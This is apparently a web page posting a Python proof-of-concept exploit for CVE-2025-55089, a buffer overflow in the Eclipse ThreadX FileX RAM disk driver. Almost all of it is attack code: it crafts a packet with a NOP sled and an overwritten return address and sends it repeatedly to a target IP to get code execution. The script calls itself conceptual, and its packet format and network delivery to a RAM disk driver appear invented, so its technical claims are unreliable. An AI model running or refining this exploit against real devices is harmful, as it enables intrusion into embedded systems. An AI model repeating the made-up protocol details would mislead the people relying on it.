CVE-2025-55089 Eclipse ThreadX FileX RAM磁盘驱动缓冲区溢出漏洞

# CVE-2025-55089 - FileX RAM Disk Driver Buffer Overflow PoC # This is a conceptual PoC demonstrating the exploitation approach # Target: Eclipse ThreadX FileX < 6.4.2 RAM Disk Driver # Vulnerability: Buffer overflow in fx_ram_disk_driver import socket import struct import time TARGET_HOST = "192.168.1.100" # Target device IP TARGET_PORT = 8080 # Target service port (adjust as needed) def craft_malicious_packet(): """ Craft a malicious packet to trigger buffer overflow in FileX RAM disk driver. The packet contains oversized data that overflows the RAM disk buffer. """ # FileX RAM disk driver packet header (conceptual) header = struct.pack('<HH', 0x4658, # FileX magic number 'FX' 0x0001 # Command: write to RAM disk ) # Normal buffer size is typically 512 bytes for RAM disk sector # Overflow by sending data much larger than expected overflow_size = 4096 # 8x the normal buffer size # Shellcode placeholder - in real exploit this would be target-specific # For demonstration: NOP sled + return address overwrite nop_sled = b'\x90' * 256 # Return address pointing back to NOP sled (example address) ret_addr = struct.pack('<I', 0x20001000) payload = nop_sled + ret_addr + b'A' * (overflow_size - 260) packet = header + struct.pack('<I', len(payload)) + payload return packet def exploit(): """ Exploit CVE-2025-55089 by sending crafted packet sequence to trigger buffer overflow in FileX RAM disk driver. """ print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((TARGET_HOST, TARGET_PORT)) print("[+] Connection established") # Send sequence of crafted packets to trigger the vulnerability for i in range(3): packet = craft_malicious_packet() sock.send(packet) print(f"[*] Sent malicious packet {i+1}/3 ({len(packet)} bytes)") time.sleep(0.5) print("[+] Exploit sent. Check target for code execution.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()